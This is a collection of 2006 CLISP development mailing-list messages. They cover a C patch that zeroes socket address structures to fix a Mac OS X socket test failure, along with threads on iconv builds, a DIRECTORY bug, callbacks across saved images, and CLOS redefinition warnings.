+   It is not necessary on Linux, Cygwin, win32, Solaris, FreeBSD &c.
+   It might be a good idea to add an autoconf test for this bug...
+   see bug 1399376 http://sourceforge.net/tracker/index.php?func=detail&aid=1399376&group_id=1355&atid=101355 */
+#define FILL0(s)  memset((void*)&s,0,sizeof(s))
+
 /* Converts an AF_INET address to a printable, presentable format.
  ipv4_ntop(buffer,addr);
  > struct in_addr addr: IPv4 address
@@ -481,6 +489,7 @@
  #ifdef HAVE_IPV6
   {
     var struct sockaddr_in6 inaddr;
+    FILL0(inaddr);
     if (inet_pton(AF_INET6,host,&inaddr.sin6_addr) > 0) {
       inaddr.sin6_family = AF_INET6;
       inaddr.sin6_port = htons(port);
@@ -491,6 +500,7 @@
  #endif
   {
     var struct sockaddr_in inaddr;
+    FILL0(inaddr);
     if (inet_pton(AF_INET,host,&inaddr.sin_addr) > 0) {
       inaddr.sin_family = AF_INET;
       inaddr.sin_port = htons(port);
@@ -502,9 +512,10 @@
   /* if numeric host name then try to parse it as such; do the number check
      first because some systems return garbage instead of INVALID_INETADDR */
   if (all_digits_dots(host)) {
-    var struct sockaddr_in inaddr;
     var uint32 hostinetaddr = inet_addr(host) INET_ADDR_SUFFIX ;
     if (!(hostinetaddr == ((uint32) -1))) {
+      var struct sockaddr_in inaddr;
+      FILL0(inaddr);
       inaddr.sin_family = AF_INET;
       inaddr.sin_addr.s_addr = hostinetaddr;
       inaddr.sin_port = htons(port);
@@ -523,6 +534,7 @@
     if (host_ptr->h_addrtype == AF_INET6) {
       /* Set up the socket data. */
       var struct sockaddr_in6 inaddr;
+      FILL0(inaddr);
       inaddr.sin6_family = AF_INET6;
       inaddr.sin6_addr = *(struct in6_addr *)host_ptr->h_addr;
       inaddr.sin6_port = htons(port);
@@ -533,6 +545,7 @@
     if (host_ptr->h_addrtype == AF_INET) {
       /* Set up the socket data. */
       var struct sockaddr_in inaddr;
+      FILL0(inaddr);
       inaddr.sin_family = AF_INET;
       inaddr.sin_addr = *(struct in_addr *)host_ptr->h_addr;
       inaddr.sin_port = htons(port);
@@ -652,10 +665,12 @@
     var struct sockaddr_un unaddr;          /* UNIX socket data block */
     var struct sockaddr * addr;             /* generic socket pointer */
     var int addrlen;                        /* length of addr */
+    FILL0(unaddr);
    #ifdef hpux /* this is disgusting */
     var struct sockaddr_un ounaddr;         /* UNIX socket data block */
     var struct sockaddr * oaddr;            /* generic socket pointer */
     var int oaddrlen;                       /* length of addr */
+    FILL0(unaddr);
    #endif
 
     unaddr.sun_family = AF_UNIX;
@@ -751,6 +766,7 @@
                                              host_data_t * hd) {
   var sockaddr_max_t addr;
   var SOCKLEN_T addrlen = sizeof(sockaddr_max_t);
+  FILL0(addr);
   if (getsockname(socket_handle,(struct sockaddr *)&addr,&addrlen) < 0)
     return NULL;
   /* Fill in hd->hostname and hd->port. */
@@ -801,6 +817,7 @@
   var sockaddr_max_t addr;
   var SOCKLEN_T addrlen = sizeof(sockaddr_max_t);
   var struct hostent* hp = NULL;
+  FILL0(addr);
   /* Get host's IP address. */
   if (getpeername(socket_handle,(struct sockaddr *)&addr,&addrlen) < 0)
     return NULL;
@@ -896,6 +913,7 @@
   var SOCKET fd;
   var sockaddr_max_t addr;
   var SOCKLEN_T addrlen = sizeof(sockaddr_max_t);
+  FILL0(addr);
   if (getsockname(sock,(struct sockaddr *)&addr,&addrlen) < 0)
     return INVALID_SOCKET;
   switch (((struct sockaddr *)&addr)->sa_family) {
@@ -931,6 +949,7 @@
  #endif
   var sockaddr_max_t addr;
   var SOCKLEN_T addrlen = sizeof(sockaddr_max_t);
+  FILL0(addr);
   return accept(socket_handle,(struct sockaddr *)&addr,&addrlen);
   /* We can ignore the contents of addr, because we can retrieve it again
      through socket_getpeername() later. */


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>> UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address
>
> it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile
> lisp.run (no need to re-dump lispinit.mem) and run
> ./lisp.run -M lispinit.mem -i tests/tests -x '(run-test "tests/ 
> socket")'
> and send the output here.  thanks.
>
> see also http://sourceforge.net/tracker/index.php? 
> func=detail&aid=1399376&group_id=1355&atid=101355
>
> please also try the appended patch.
> thanks.

That was the symptom I saw too!

I don't recall seeing it, did we come to a resolution about whether  
or not zeroing those data structures "was the right thing to  
do" (versus necessary to work around OS bugs?)

		--Doug



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> * Douglas Philips <qtbh@znp.pbz> [2006-01-13 12:50:46 -0500]:
>
>>> UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address
>>
>> it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile
>> lisp.run (no need to re-dump lispinit.mem) and run
>> ./lisp.run -M lispinit.mem -i tests/tests -x '(run-test "tests/
>> socket")'
>> and send the output here.  thanks.
>>
>> see also http://sourceforge.net/tracker/index.php?
>> func=detail&aid=1399376&group_id=1355&atid=101355
>>
>> please also try the appended patch.
>> thanks.
>
> That was the symptom I saw too!
>
> I don't recall seeing it, did we come to a resolution about whether or
> not zeroing those data structures "was the right thing to do" (versus
> necessary to work around OS bugs?)

I am waiting for mac os x users to run the tests with a -DDEBUG_OS_ERROR
build and tell me the specific calls (file:line) that fail.
I am also waiting for the confirmation that the patch I sent to this
list fixes the bug.

Someone also has to report this as a posix compliance bug to the mac os
x vendors.

It would also be nice if we could figure out which other platforms
exhibit this bug.
I know that solaris, linux, win32, cygwin, netbsd are clean.
Does anyone here use something else?

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On 8 jan 2006, at 19:57, Sam Steingold wrote:

>> * Douglas Philips <qtbh@znp.pbz> [2006-01-08 10:04:00 -0500]:
>>
>> On 2006 Jan 7, at 8:39 PM, Sam Steingold wrote:
>>
>>> can anyone confirm this bug report?
>>> https://sourceforge.net/tracker/?
>>> func=detail&atid=101355&aid=1399376&group_id=1355
>>> SF CF mac os x is down, but NetBSD appears to work.
>>> thanks!
>>
>> Yes, I can confirm that bug. A few days ago I built 2.37. Everything
>> went find, but the make check failed.
>

I have seen this also (2.37 and CVS version). I was going to look into 
it, I wasn't sure nothing else had changed in my build environment. But 
other things got in the way ..

>
> could you please try the test file on some older version of clisp?
> (socket.tst is a recent addition, this is probably the reason this has
> not been reported before.)

I tried running (run-test "socket") in clisp 2.36 on MacOS X.

RUN-TEST: finished "socket" (0 errors out of 58 tests)

//Lennart Staflin



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Sam Steingold wrote:

>2005-05-28  Bruno Haible  <bruno@clisp.org>
>
>	Make it possible to use iconv() on platforms other than Unix. Fixes
>	2005-03-01 patch.
>	* lispbibl.d (ANSIC_error): New declaration.
>	* errunix.d [!UNIX]: Define only OS_error.
>	* error.d [!UNIX]: Include errunix.c, to define ANSIC_error.
>	* stream.d (open_iconv, check_charset, iconv_mblen, iconv_mbstowcs)
>	(iconv_wcslen, iconv_wcstombs, iconv_range, ChannelStream_fini):
>	Undo 2005-03-01 patch. Call ANSIC_error instead of OS_error.
>	* makemake.in (ERROR_INCLUDES): Add errunix unconditionally.
>
>	* win32.d: Undefine HAVE_ICONV, in case it's set by unixconf.h (on
>	mingw).
>
>
>I think that if the mingw configure process discovers a working iconv,
>it will be used.
>  
>
Yes, it works!
But, remove, please, from win32.d next lines:

/* Character set conversion: */
/* Yaroslav Kavenchuk reports some problems with iconv(), either due to
   incorrect builds of libiconv or to missing support in makemake.in. So
   disable it. */
#undef HAVE_ICONV

Perhaps, at that time libraries were other system? :)

It will be correct: rebuild clisp-2.37-win32-with-readline-and-gettext  
with support of libiconv?

Thanks!

-- 
WBR, Yaroslav Kavenchuk.


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It seems to me there was a bug in DIRECTORY in 2.35; perhaps it still
exists in current version?

In short, this:

(directory (make-pathname :directory '(:relative :wild-inferiors) 
           :name "faq-doc-*" :type "html" :defaults *faqbase*))

returns the files matching the name and type  found  only in the first
subdirectory of *faqbase*:


[13]> (directory "/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part*/*.html")
(#P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq-doc-0.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part7/faq.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-6.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-5.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-4.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-3.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq-doc-0.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part6/faq.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-8.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-7.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-6.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-5.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-4.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-3.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq-doc-0.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part5/faq.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-9.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-8.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-7.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-6.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-5.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-4.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-3.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-0.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq-doc-10.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part4/faq.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-9.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-8.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-7.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-6.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-5.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-4.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-3.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-17.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-16.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-0.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-15.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-14.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-13.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-12.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-11.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq-doc-10.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part3/faq.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-9.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-8.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-7.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-21.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-6.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-20.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-5.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-4.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-19.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-3.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-18.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-17.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-16.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-0.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-15.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-14.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-13.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-12.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-11.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq-doc-10.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part2/faq.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-8.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-7.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-6.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-5.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-4.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-3.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-0.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq.html")
[14]> (defparameter *faqbase* #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/")
*FAQBASE*
[15]> (directory (make-pathname :directory '(:relative :wild-inferiors) :name "faq-doc-*" :type "html" :defaults *faqbase*))
(#P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-8.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-7.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-6.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-5.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-4.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-3.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-2.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-1.html"
 #P"/local/share/lisp/cclan/cclan-cvs/cclan/faq/mk-faq/part1/faq-doc-0.html")
[16]> (print-bug-report-info)


LISP-IMPLEMENTATION-TYPE     "CLISP"
LISP-IMPLEMENTATION-VERSION  "2.35 (2005-08-29) (built 3338094313) (memory 3338094805)"
SOFTWARE-TYPE                
"gcc -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -DUNICODE -DDYNAMIC_FFI -I. -x none libcharset.a libavcall.a libcallback.a -lreadline -lncurses -ldl   -lsigsegv -L/usr/X11R6/lib -lX11
SAFETY=0 HEAPCODES LINUX_NOEXEC_HEAPCODES GENERATIONAL_GC SPVW_BLOCKS SPVW_MIXED TRIVIALMAP_MEMORY
libsigsegv 2.2"
SOFTWARE-VERSION             "GNU C 3.3 20030226 (prerelease) (SuSE Linux)"
MACHINE-INSTANCE             "thalassa.informatimago.com [62.93.174.79]"
MACHINE-TYPE                 "I686"
MACHINE-VERSION              "I686"
*FEATURES*                   
(:ASDF-INSTALL :SPLIT-SEQUENCE :COM.INFORMATIMAGO.PJB :ASDF :WILDCARD :RAWSOCK
 :PCRE :CLX-ANSI-COMMON-LISP :CLX :READLINE :REGEXP :SYSCALLS :I18N :LOOP
 :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER
 :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE
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On 2006 Jan 13, at 12:21 PM, Sam Steingold wrote:

>> * Dan Starr <qifgnee@rneguyvax.arg> [2006-01-13 10:25:43 -0500]:
>>
>> UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address
>
> it would help if you could add -DDEBUG_OS_ERROR to CFLAGS, recompile
> lisp.run (no need to re-dump lispinit.mem) and run
> ./lisp.run -M lispinit.mem -i tests/tests -x '(run-test  
> "tests/socket")'
> and send the output here.  thanks.
>
> see also  
> http://sourceforge.net/tracker/index.php? 
> func=detail&aid=1399376&group_id=1355&atid=101355
>
> please also try the appended patch.
> thanks.
>

Sam,

Not quite an accomplished enough UNIX freak to deftly use the patches,  
but thanks.  I looked at the SourceForge web-page and see that thought  
has already been given to this problem.

I did, however, while out for lunch, rebuild using

   ./configure --without-dynamic-ffi --with-debug

and got only six of the errors this time.  The diminished sockets.erg  
file follows ...

=========

~/languages/clisp-2.37/darwin/tests: cat socket.erg
Form: (PROGN (SETQ *SERVER* (SOCKET-SERVER 9090) *SOCKET-1*  
(SOCKET-CONNECT 9090 "localhost" :TIMEOUT 0 :BUFFERED NIL) *SOCKET-2*  
(SOCKET-ACCEPT *SERVER* :BUFFERED NIL)) (WRITE-CHAR #\a *SOCKET-1*))
CORRECT: #\a
CLISP  : ERROR
UNIX error 49 (EADDRNOTAVAIL): Cannot assign requested address

OUT:
"[SIMPLE-OS-ERROR]: UNIX error 49 (EADDRNOTAVAIL): Cannot assign  
requested address

"


Form: (LISTP (SHOW (LIST (MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL  
*SOCKET-1*)) (MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-1*))  
(MULTIPLE-VALUE-LIST (SOCKET-STREAM-LOCAL *SOCKET-2*))  
(MULTIPLE-VALUE-LIST (SOCKET-STREAM-PEER *SOCKET-2*))) :PRETTY T))
CORRECT: T
CLISP  : ERROR
SOCKET-STREAM-LOCAL: argument #1=#<CLOSED INPUT BUFFERED SOCKET-STREAM  
CHARACTER localhost:50432> is not an open SOCKET-STREAM

OUT:
"[SIMPLE-TYPE-ERROR]: SOCKET-STREAM-LOCAL: argument #1=#<CLOSED INPUT  
BUFFERED SOCKET-STREAM CHARACTER localhost:50432> is not an open  
SOCKET-STREAM

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: :INPUT
CLISP  : ERROR
SOCKET-STATUS: argument #1=#<CLOSED IO INPUT-BUFFERED SOCKET-STREAM  
CHARACTER 127.0.0.1:50432> is not an open stream

OUT:
"[SIMPLE-TYPE-ERROR]: SOCKET-STATUS: argument #1=#<CLOSED IO  
INPUT-BUFFERED SOCKET-STREAM CHARACTER 127.0.0.1:50432> is not an open  
stream

"


Form: (READ-CHAR *SOCKET-2*)
CORRECT: #\a
CLISP  : ERROR
READ-CHAR on #1=#<CLOSED IO INPUT-BUFFERED SOCKET-STREAM CHARACTER  
127.0.0.1:50432> is illegal

OUT:
"[SIMPLE-STREAM-ERROR]: READ-CHAR on #1=#<CLOSED IO INPUT-BUFFERED  
SOCKET-STREAM CHARACTER 127.0.0.1:50432> is illegal

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: NIL
CLISP  : ERROR
SOCKET-STATUS: argument #1=#<CLOSED IO INPUT-BUFFERED SOCKET-STREAM  
CHARACTER 127.0.0.1:50432> is not an open stream

OUT:
"[SIMPLE-TYPE-ERROR]: SOCKET-STATUS: argument #1=#<CLOSED IO  
INPUT-BUFFERED SOCKET-STREAM CHARACTER 127.0.0.1:50432> is not an open  
stream

"


Form: (SOCKET-STATUS (CONS *SOCKET-2* :INPUT) 0)
CORRECT: :EOF
CLISP  : ERROR
SOCKET-STATUS: argument #1=#<CLOSED IO INPUT-BUFFERED SOCKET-STREAM  
CHARACTER 127.0.0.1:50432> is not an open stream

OUT:
"[SIMPLE-TYPE-ERROR]: SOCKET-STATUS: argument #1=#<CLOSED IO  
INPUT-BUFFERED SOCKET-STREAM CHARACTER 127.0.0.1:50432> is not an open  
stream

"


~/languages/clisp-2.37/darwin/tests:





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Hi,

I was pointed by the CFFI people to the fact that callback pointers do not survive restarting from a saved image.  I said "you cannot expect pointers to be kept when restarting a new Lisp.  All addresses may have changed."

More than 10 years ago, I pointed Bruno Haible to the fact that the #<io terminal-stream> object typically bound to *terminal-io*, when recovered from an image, would not be usable anymore (it even crashed back then IIRC).
(setq foo *terminal-io*) (ext:saveinitmem "foo.mem")
clisp -K foo.mem
foo -> #<#CLOSED terminal-stream>
(eq foo *terminal-io*) -> nil

I've always thought that it would have been nicer if the same *terminal-io* object could have been used across sessions (less surprises to the user).
However I understand that currently, that object takes different shapes, depending on whether I/O has been redirected.  It could also be a two-way-stream with a buffered file as input and output.  Is that enough reason for a different object in each session, or could that issue be resolved by making *terminal-io* a synonym stream to another, clisp internal stream object that would depend on how clisp was started?  Then applications could safely store away the *terminal-io* object and work across images.


So these days, I face an IMHO similar situation.  I looked closer at that callback issue, and discovered that CLISP could, in principle, do the following:
+ Lisp-visible #<FOREIGN-FUNCTIOn and #<FOREIGN-POINTERS associated with the callback could be modified in place (destructively) to point to the new address of the callback-able function in the current session.

What would be the value of this?
o It would make startup slightly slower, having to touch memory from an old generation.  Of course, I've no idea how much.
o It is still no enough, in general.  Well, it would make the cffi testsuite work, but in general, foreign applications and libraries still need to be told the new address of the callback.  The cffi testsuite works because the old address is not stored away and recomputed at startup.
Calling the old address will eventually lead to a crash.

So one counter-argument is: Since there need be some application-side work when restarting anyway (e.g. tell the libraries the new addresses), this time could also be used to create callbacks valid in the new image (clisp could only automate the latter, cffi does it on its own currently).

To me, the more general & guiding question is: what to expect when restarting from an image?

E.g. it seems that Smalltalk environments store much more there than Lisps typically do: on startup, they reopen all windows and try to reopened all files.

Generally, restarting and restoring resources is a hairy area.  E.g. Clisp still struggles with trying to reload foreign libraries and revalidating foreign functions at their new addresses.  I'll file a bug later, given time.

Here's some playground for callbacks:
(use-package "FFI")
(setq foo
  (with-c-var (f '(c-function (:arguments (x uint32))(:return-type uint32))
                 (lambda(x)(* 2 (1+ (print x)))))
    f))
-> #<FOREIGN-FUNCTION AAAAAAAA>
(funcall foo 2)
(ext:saveinitmem"foo.mem")
foo -> #<INVALID FOREIGN-FUNCTION ...>

Instead, I could change that behaviour in the new image to lead to
foo -> #<FOREIGN-FUNCTION CCCCCCCC>
Note how the address changed, but the object is valid again, and
(funcall foo 3)
works as expected.
Yet I repeat: Don't call the old address AAAAAAAA in the new session!

Any I wonder: why should I change clisp's behaviour in the seemingly obscure callback area, when it doesn't even preserve a presumably simple thing like *terminal-io*
What should survive restarting from a Lisp image?

Comments welcome,
	Jorg Hohle.


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> * Lennart Staflin <yrafg@ylfngbe.yvh.fr> [2006-01-14 16:11:56 +0100]:
>
>> (socket.tst is a recent addition, this is probably the reason this has
>> not been reported before.)
>
> I tried running (run-test "socket") in clisp 2.36 on MacOS X.
>
> RUN-TEST: finished "socket" (0 errors out of 58 tests)

good.
now, we need to figure out which change causes the bug.
The prime suspect is the 2005-12-19 patch by Tomas Zellerin that added
:INTERFACE and :BACKLOG to SOCKET-SERVER.

If that is not the case, a simple binary search in the CVS will do the job.



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> * Yaroslav Kavenchuk <xnirapuhx@ghg.ol> [2006-01-14 21:43:19 +0200]:
>
> Sam Steingold wrote:
>
>>2005-05-28  Bruno Haible  <bruno@clisp.org>
>>
>>	Make it possible to use iconv() on platforms other than Unix. Fixes
>>	2005-03-01 patch.
>>	* lispbibl.d (ANSIC_error): New declaration.
>>	* errunix.d [!UNIX]: Define only OS_error.
>>	* error.d [!UNIX]: Include errunix.c, to define ANSIC_error.
>>	* stream.d (open_iconv, check_charset, iconv_mblen, iconv_mbstowcs)
>>	(iconv_wcslen, iconv_wcstombs, iconv_range, ChannelStream_fini):
>>	Undo 2005-03-01 patch. Call ANSIC_error instead of OS_error.
>>	* makemake.in (ERROR_INCLUDES): Add errunix unconditionally.
>>
>>	* win32.d: Undefine HAVE_ICONV, in case it's set by unixconf.h (on
>>	mingw).
>>
>>
>>I think that if the mingw configure process discovers a working iconv,
>>it will be used.
>>  
>>
> Yes, it works!
> But, remove, please, from win32.d next lines:
>
> /* Character set conversion: */
> /* Yaroslav Kavenchuk reports some problems with iconv(), either due to
>    incorrect builds of libiconv or to missing support in makemake.in. So
>    disable it. */
> #undef HAVE_ICONV

are you saying that if you remove this line, you can build clisp with
libiconv and it does not crash?


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Sam Steingold wrote:

> are you saying that if you remove this line, you can build clisp with
> libiconv and it does not crash?
> 

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> * Dan Starr <qifgnee@rneguyvax.arg> [2006-01-15 10:28:37 -0500]:
>
> The diminished sockets.erg file follows ...

file:line is not captured in sockets.erg

at any rate, this bug appears to have been introduced after 2.36,
probably on 2005-12-19, so we just need to debug it and fix it.

use gdb.

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I was wondering if there is an easy way to turn off the "Replacing
method" warnings when recompiling a file?  I used to have a way that
worked in some software I recently restarted developing.

When developing the software before, I had a small snippet of lisp
that would turn off these warnings when I recompiled.  It doesn't seem
to be working any more.  This is the snippet:
#+CLISP
(eval-when (:load-toplevel :compile-toplevel :execute)
  (defvar old-warning)
  (defvar old-gf-warning)
  (defvar old-gf-replace-all)
  (setq old-warning clos::*warn-if-gf-already-called*
=09=09old-gf-warning clos::*gf-warn-on-replacing-method*
=09=09old-gf-replace-all clos::*gf-warn-on-removing-all-methods*)
  (ext:without-package-lock ()
=09=09=09=09=09=09(setf clos:*warn-if-gf-already-called* nil
=09=09=09=09=09=09=09  clos:*gf-warn-on-replacing-method* nil
=09=09=09=09=09=09=09  clos:*gf-warn-on-removing-all-methods* nil)))

This served me well before, but it seems to be generating errors now.=20
For one, even though I have the "without-package-lock", it claims that
CLOS is a locked package.  Continuing from that error,
*gf-warn-on-replacing-method* seems to have gone (I can't find it with
a grep), and *warn-if-gf-already-called* is not marked external, and
*gf-warn-on-removing-all-methods* is gone as well.

I read a message stating that custom:*suppress-check-redefinition*
would solve another similar message, so I tried

(setf custom:*suppress-check-redefinition* t)

but that doesn't seem to get rid of the warnings.

Thanks for any help. I appreciate CLISP quite a bit.  It's nice having
a quality Common Lisp implementation avaiable for Windows.


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> * Tomas Zellerin <mryyreva@tznvy.pbz> [2006-01-16 08:30:29 +0100]:
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> are *eq-hashfunction* and its eql and equal counterparts supposed to
> be exported from ext package (as indicated in implementation notes) or
> not (as in reality - 2.37)?

fixed in the CVS, thanks.

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Date: Mon Jan 16 08:41:12 2006
